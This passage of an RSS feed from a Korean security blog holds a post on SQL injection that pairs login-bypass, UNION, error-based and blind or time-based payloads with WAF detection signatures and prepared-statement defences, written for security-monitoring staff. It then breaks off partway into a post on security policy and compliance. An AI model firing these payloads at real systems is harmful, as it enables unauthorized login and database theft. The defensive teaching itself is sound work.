&lt;td data-col-size=&quot;sm&quot; data-end=&quot;783&quot; data-start=&quot;769&quot;&gt;Error-based&lt;/td&gt;
&lt;td data-end=&quot;807&quot; data-start=&quot;783&quot; data-col-size=&quot;sm&quot;&gt;DB 오류 메시지를 이용해 정보 획득&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;850&quot; data-start=&quot;808&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;821&quot; data-start=&quot;808&quot;&gt;Blind SQLi&lt;/td&gt;
&lt;td data-end=&quot;850&quot; data-start=&quot;821&quot; data-col-size=&quot;sm&quot;&gt;결과가 안 나와도 참/거짓 기반으로 정보 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;886&quot; data-start=&quot;851&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;864&quot; data-start=&quot;851&quot;&gt;Time-based&lt;/td&gt;
&lt;td data-end=&quot;886&quot; data-start=&quot;864&quot; data-col-size=&quot;sm&quot;&gt;DB 응답 시간으로 참/거짓 판별&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;928&quot; data-start=&quot;887&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;901&quot; data-start=&quot;887&quot;&gt;Out-of-band&lt;/td&gt;
&lt;td data-end=&quot;928&quot; data-start=&quot;901&quot; data-col-size=&quot;sm&quot;&gt;다른 채널(메일, DNS 등)로 정보 탈취&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;933&quot; data-start=&quot;930&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;950&quot; data-start=&quot;935&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;950&quot; data-start=&quot;935&quot;&gt;&lt;b&gt;실무 방어 방법&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1115&quot; data-start=&quot;951&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1002&quot; data-start=&quot;951&quot;&gt;&lt;b&gt;Prepared Statement / Parameterized Query&lt;/b&gt; 사용&lt;/li&gt;
&lt;li data-end=&quot;1031&quot; data-start=&quot;1003&quot;&gt;입력값 검증(Input Validation)&lt;/li&gt;
&lt;li data-end=&quot;1050&quot; data-start=&quot;1032&quot;&gt;최소 권한 DB 계정 사용&lt;/li&gt;
&lt;li data-end=&quot;1067&quot; data-start=&quot;1051&quot;&gt;오류 메시지 노출 금지&lt;/li&gt;
&lt;li data-end=&quot;1094&quot; data-start=&quot;1068&quot;&gt;WAF 규칙 적용 (SQLi 탐지/차단)&lt;/li&gt;
&lt;li data-end=&quot;1115&quot; data-start=&quot;1095&quot;&gt;정기적인 취약점 스캔 및 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1120&quot; data-start=&quot;1117&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1138&quot; data-start=&quot;1122&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1218&quot; data-start=&quot;1139&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SQL Injection = 웹 입력값을 조작해 데이터베이스 쿼리를 변조함으로써 정보 탈취, 조작, 권한 우회 등을 수행하는 공격.&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;1218&quot; data-start=&quot;1139&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot; data-start=&quot;1122&quot; data-end=&quot;1138&quot;&gt;&lt;b&gt;공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;122&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;아래는 &lt;b&gt;SQL Injection 공격 예시 + 실제 Payload + WAF에서 어떻게 차단하는지&lt;/b&gt;를 실무자 기준으로 깔끔하게 정리한 내용이야.&lt;br /&gt;(보안관제&amp;middot;WAF 담당자라면 바로 현업에서 쓸 수 있어.)&lt;/p&gt;
&lt;hr data-end=&quot;127&quot; data-start=&quot;124&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;168&quot; data-start=&quot;129&quot;&gt;  &lt;b&gt;1. SQL Injection 공격 원리 (그림 개념)&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;[사용자 입력] &amp;rarr; [웹 서버] &amp;rarr; [DB 쿼리 실행] 공격자는 입력값에 &lt;/span&gt;&lt;span&gt;&lt;span&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;span&gt; 구문을 섞어서 웹 서버가 DB에게 &lt;/span&gt;&lt;span&gt;&lt;span&gt;'잘못된 명령'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;을 실행하게 만듦 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;306&quot; data-start=&quot;264&quot; data-ke-size=&quot;size16&quot;&gt;예: 로그인 화면에서&lt;br /&gt;ID: ' OR 1=1 --&lt;br /&gt;PW: 아무거나&lt;/p&gt;
&lt;p data-end=&quot;325&quot; data-start=&quot;308&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버는 아래처럼 쿼리를 만듦&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; users &lt;/span&gt;&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;/span&gt;&lt;span&gt; id&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;''&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;OR&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;--' AND pw='';&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;426&quot; data-start=&quot;393&quot; data-ke-size=&quot;size16&quot;&gt;OR 1=1 때문에 항상 참 &amp;rarr; &lt;b&gt;로그인 우회 성공&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;431&quot; data-start=&quot;428&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;461&quot; data-start=&quot;433&quot;&gt;  &lt;b&gt;2. 실제 공격 Payload 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;483&quot; data-start=&quot;463&quot; data-ke-size=&quot;size26&quot;&gt;✔️ &lt;b&gt;(1) 로그인 우회&lt;/b&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;' OR '&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;'='&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;' -- &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;547&quot; data-start=&quot;512&quot; data-ke-size=&quot;size26&quot;&gt;✔️ &lt;b&gt;(2) 데이터 추출 (테이블/컬럼 이름 획득)&lt;/b&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;' UNION SELECT table_name,1,1 FROM information_schema.tables -- &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;654&quot; data-start=&quot;624&quot; data-ke-size=&quot;size26&quot;&gt;✔️ &lt;b&gt;(3) Error-based SQLi&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;680&quot; data-start=&quot;655&quot; data-ke-size=&quot;size16&quot;&gt;DB 오류 메시지를 이용해 정보를 역으로 획득&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;796&quot; data-start=&quot;756&quot; data-ke-size=&quot;size26&quot;&gt;✔️ &lt;b&gt;(4) Blind SQLi (TRUE/FALSE 기반)&lt;/b&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;' AND (SELECT SUBSTRING(user(), 1, 1)='&lt;/span&gt;&lt;/span&gt;&lt;span&gt;r&lt;span&gt;') -- &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;891&quot; data-start=&quot;856&quot; data-ke-size=&quot;size26&quot;&gt;✔️ &lt;b&gt;(5) Time-based Blind SQLi&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;906&quot; data-start=&quot;892&quot; data-ke-size=&quot;size16&quot;&gt;응답 시간으로 데이터 추출&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;' AND IF(1=1, SLEEP(5), 0) -- &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;970&quot; data-start=&quot;951&quot; data-ke-size=&quot;size16&quot;&gt;DB가 5초 후 응답 &amp;rarr; 조건이 참&lt;/p&gt;
&lt;hr data-end=&quot;975&quot; data-start=&quot;972&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1011&quot; data-start=&quot;977&quot;&gt;  &lt;b&gt;3. 공격 시 WAF 로그 예시 (실무 기준)&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1035&quot; data-start=&quot;1013&quot; data-ke-size=&quot;size16&quot;&gt;아래는 WAF에서 흔하게 잡히는 패턴들:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;[SQLi] pattern: &lt;/span&gt;&lt;span&gt;&lt;span&gt;' or 1=1 --&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [SQLi] keyword: union &lt;/span&gt;&lt;span&gt;&lt;span&gt;select&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [SQLi] &lt;/span&gt;&lt;span&gt;&lt;span&gt;function&lt;/span&gt;&lt;/span&gt;&lt;span&gt;: sleep(&lt;/span&gt;&lt;span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) [SQLi] comment symbol: -- [SQLi] dbms: information_schema [SQLi] special &lt;/span&gt;&lt;span&gt;&lt;span&gt;char&lt;/span&gt;&lt;/span&gt;&lt;span&gt;: updatexml / extractvalue &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1246&quot; data-start=&quot;1233&quot; data-ke-size=&quot;size16&quot;&gt;또는 이런 요청 URL:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/search?q=&lt;span&gt;' OR 1=1 -- /login?id=admin'&lt;/span&gt; UNION SELECT ... /product?&lt;/span&gt;&lt;span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=1 AND SLEEP(3) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1367&quot; data-start=&quot;1340&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 패턴 매칭, 시그니처, 머신러닝 룰로 차단됨.&lt;/p&gt;
&lt;hr data-end=&quot;1372&quot; data-start=&quot;1369&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1405&quot; data-start=&quot;1374&quot;&gt;  &lt;b&gt;4. WAF에서 막는 방법 (실무 버전)&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;1426&quot; data-start=&quot;1407&quot; data-ke-size=&quot;size26&quot;&gt;✔️ 1) 시그니처 기반 차단&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1503&quot; data-start=&quot;1427&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1439&quot; data-start=&quot;1427&quot;&gt;' OR 1=1&lt;/li&gt;
&lt;li data-end=&quot;1456&quot; data-start=&quot;1440&quot;&gt;UNION SELECT&lt;/li&gt;
&lt;li data-end=&quot;1467&quot; data-start=&quot;1457&quot;&gt;SLEEP(&lt;/li&gt;
&lt;li data-end=&quot;1503&quot; data-start=&quot;1468&quot;&gt;updatexml(&lt;br /&gt;등 SQLi 키워드 탐지 시 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1508&quot; data-start=&quot;1505&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1540&quot; data-start=&quot;1510&quot; data-ke-size=&quot;size26&quot;&gt;✔️ 2) 입력값 검증(Normalization)&lt;/h2&gt;
&lt;p data-end=&quot;1611&quot; data-start=&quot;1541&quot; data-ke-size=&quot;size16&quot;&gt;URL 인코딩 등 우회 공격 방지&lt;br /&gt;예:&lt;br /&gt;%27 OR 1%3d1 -- &amp;rarr; ' OR 1=1 -- 로 정규화 후 차단&lt;/p&gt;
&lt;hr data-end=&quot;1616&quot; data-start=&quot;1613&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1638&quot; data-start=&quot;1618&quot; data-ke-size=&quot;size26&quot;&gt;✔️ 3) 파라미터 무결성 체크&lt;/h2&gt;
&lt;p data-end=&quot;1681&quot; data-start=&quot;1639&quot; data-ke-size=&quot;size16&quot;&gt;파라미터 형태가 평소와 다른 경우 차단&lt;br /&gt;예: 숫자 파라미터에 문자열 삽입&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/item?&lt;/span&gt;&lt;span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=10 &amp;rarr; 정상 /item?&lt;/span&gt;&lt;span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=10&lt;/span&gt;&lt;span&gt;&lt;span&gt;' OR '&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;'='&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1 &amp;rarr; 비정상 &amp;rarr; 차단 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1750&quot; data-start=&quot;1747&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1775&quot; data-start=&quot;1752&quot; data-ke-size=&quot;size26&quot;&gt;✔️ 4) ML 기반 이상 행위 탐지&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1852&quot; data-start=&quot;1776&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1806&quot; data-start=&quot;1776&quot;&gt;특정 IP에서 짧은 시간에 수백 개 SQL 시도&lt;/li&gt;
&lt;li data-end=&quot;1829&quot; data-start=&quot;1807&quot;&gt;User-Agent가 SQLmap&lt;/li&gt;
&lt;li data-end=&quot;1852&quot; data-start=&quot;1830&quot;&gt;Union select 반복 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1872&quot; data-start=&quot;1854&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 이상 행위로 판단해 자동 차단&lt;/p&gt;
&lt;hr data-end=&quot;1877&quot; data-start=&quot;1874&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1905&quot; data-start=&quot;1879&quot;&gt;  &lt;b&gt;5. 개발 단계에서의 방어 코드&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;1940&quot; data-start=&quot;1907&quot; data-ke-size=&quot;size26&quot;&gt;✔️ Prepared Statement 예시 (PHP)&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;$stmt&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;$conn&lt;/span&gt;&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;prepare&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;SELECT * FROM users WHERE id=? AND pw=?&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;$stmt&lt;/span&gt;&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;bind_param&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;ss&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;$id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;$pw&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;$stmt&lt;/span&gt;&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;execute&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(); &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;2092&quot; data-start=&quot;2073&quot; data-ke-size=&quot;size26&quot;&gt;✔️ Java (Spring)&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;String&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;sql&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;SELECT * FROM users WHERE id = ? AND pw = ?&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; jdbcTemplate.queryForObject(sql, &lt;/span&gt;&lt;span&gt;&lt;span&gt;new&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;Object&lt;/span&gt;&lt;/span&gt;&lt;span&gt;[]{id, pw}, rowMapper); &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;2276&quot; data-start=&quot;2233&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 입력값이 SQL로 해석되지 못함&lt;br /&gt;&amp;rarr; SQL Injection 완전 차단&lt;/p&gt;
&lt;hr data-end=&quot;2281&quot; data-start=&quot;2278&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;2299&quot; data-start=&quot;2283&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;2403&quot; data-start=&quot;2300&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SQL Injection = 사용자가 입력한 값을 SQL 쿼리로 잘못 연결한 취약점을 이용해 DB를 조작하는 공격이며, WAF와 개발 보안이 함께 대응해야 완벽히 방어 가능하다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <category>sql injection</category>
      <category>보안</category>
      <category>웹공격</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/337</guid>
      <comments>https://toastfactory.tistory.com/337#entry337comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:03:29 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 보안 정책&amp;middot;컴플라이언스(GRC)란?</title>
      <link>https://toastfactory.tistory.com/335</link>
      <description>&lt;p data-end=&quot;144&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;보안 정책(Security Policy)&amp;middot;컴플라이언스(Compliance)는 &lt;b&gt;기업이 지켜야 할 보안 규칙과 법&amp;middot;규제 요건을 체계화한 것&lt;/b&gt;을 말해.&lt;br /&gt;쉽게 말하면 **&amp;ldquo;회사가 안전하게 운영되도록 지켜야 할 보안 규칙과 준수 기준&amp;rdquo;**이라고 보면 돼.&lt;/p&gt;
&lt;p data-end=&quot;204&quot; data-start=&quot;146&quot; data-ke-size=&quot;size16&quot;&gt;기술적인 장비 운영이나 관제와 달리, &lt;b&gt;정책&amp;middot;컴플라이언스는 &amp;lsquo;사람과 프로세스&amp;rsquo;를 관리하는 영역&lt;/b&gt;이야.&lt;/p&gt;
&lt;hr data-end=&quot;209&quot; data-start=&quot;206&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;245&quot; data-start=&quot;211&quot;&gt;  &lt;b&gt;보안 정책(Security Policy)이란?&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;260&quot; data-start=&quot;247&quot; data-ke-size=&quot;size26&quot;&gt;1️⃣ &lt;b&gt;목적&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;325&quot; data-start=&quot;261&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;288&quot; data-start=&quot;261&quot;&gt;기업 자산(정보, 시스템, 데이터)을 보호&lt;/li&gt;
&lt;li data-end=&quot;309&quot; data-start=&quot;289&quot;&gt;직원&amp;middot;파트너의 행동 규범 제시&lt;/li&gt;
&lt;li data-end=&quot;325&quot; data-start=&quot;310&quot;&gt;보안 위협과 사고를 예방&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;330&quot; data-start=&quot;327&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;348&quot; data-start=&quot;332&quot; data-ke-size=&quot;size26&quot;&gt;2️⃣ &lt;b&gt;구성 요소&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;518&quot; data-start=&quot;349&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;378&quot; data-start=&quot;349&quot;&gt;정보보호 정책: 기밀성, 무결성, 가용성 확보&lt;/li&gt;
&lt;li data-end=&quot;413&quot; data-start=&quot;379&quot;&gt;계정/권한 정책: 사용자 계정 생성, 삭제, 권한 부여&lt;/li&gt;
&lt;li data-end=&quot;447&quot; data-start=&quot;414&quot;&gt;네트워크/시스템 운영 정책: 패치, 백업, 로그 관리&lt;/li&gt;
&lt;li data-end=&quot;483&quot; data-start=&quot;448&quot;&gt;물리 보안 정책: 출입 통제, 장비 관리, CCTV 운영&lt;/li&gt;
&lt;li data-end=&quot;518&quot; data-start=&quot;484&quot;&gt;클라우드/애플리케이션 정책: 접근 제어, 데이터 암호화&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;523&quot; data-start=&quot;520&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;541&quot; data-start=&quot;525&quot; data-ke-size=&quot;size26&quot;&gt;3️⃣ &lt;b&gt;실무 활용&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;610&quot; data-start=&quot;542&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;563&quot; data-start=&quot;542&quot;&gt;직원&amp;middot;파트너에게 정책 준수 교육&lt;/li&gt;
&lt;li data-end=&quot;583&quot; data-start=&quot;564&quot;&gt;보안 장비 운영 기준과 연계&lt;/li&gt;
&lt;li data-end=&quot;610&quot; data-start=&quot;584&quot;&gt;사고 발생 시 책임 소재 판단 기준 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;615&quot; data-start=&quot;612&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;646&quot; data-start=&quot;617&quot;&gt;⚖️ &lt;b&gt;컴플라이언스(Compliance)란?&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;661&quot; data-start=&quot;648&quot; data-ke-size=&quot;size26&quot;&gt;1️⃣ &lt;b&gt;목적&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;701&quot; data-start=&quot;662&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;677&quot; data-start=&quot;662&quot;&gt;법규&amp;middot;규제&amp;middot;표준 준수&lt;/li&gt;
&lt;li data-end=&quot;690&quot; data-start=&quot;678&quot;&gt;외부 감사 대응&lt;/li&gt;
&lt;li data-end=&quot;701&quot; data-start=&quot;691&quot;&gt;기업 신뢰 확보&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;706&quot; data-start=&quot;703&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;724&quot; data-start=&quot;708&quot; data-ke-size=&quot;size26&quot;&gt;2️⃣ &lt;b&gt;주요 기준&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;821&quot; data-start=&quot;725&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;756&quot; data-start=&quot;725&quot;&gt;국내: ISMS-P, 개인정보보호법, 정보통신망법&lt;/li&gt;
&lt;li data-end=&quot;792&quot; data-start=&quot;757&quot;&gt;국제: ISO 27001, NIST, GDPR, SOC2&lt;/li&gt;
&lt;li data-end=&quot;821&quot; data-start=&quot;793&quot;&gt;산업별: 금융보안기준, HIPAA(헬스케어)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;826&quot; data-start=&quot;823&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;844&quot; data-start=&quot;828&quot; data-ke-size=&quot;size26&quot;&gt;3️⃣ &lt;b&gt;실무 적용&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;915&quot; data-start=&quot;845&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;872&quot; data-start=&quot;845&quot;&gt;보안 정책이 컴플라이언스를 충족하도록 설계&lt;/li&gt;
&lt;li data-end=&quot;895&quot; data-start=&quot;873&quot;&gt;정기 점검&amp;middot;감사(Audit) 수행&lt;/li&gt;
&lt;li data-end=&quot;915&quot; data-start=&quot;896&quot;&gt;미준수 항목 개선 계획 수립&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;920&quot; data-start=&quot;917&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;947&quot; data-start=&quot;922&quot;&gt;  &lt;b&gt;보안 정책과 컴플라이언스 관계&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분보안 정책컴플라이언스
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1164&quot; data-start=&quot;948&quot; data-ke-align=&quot;alignLeft&quot;&gt;
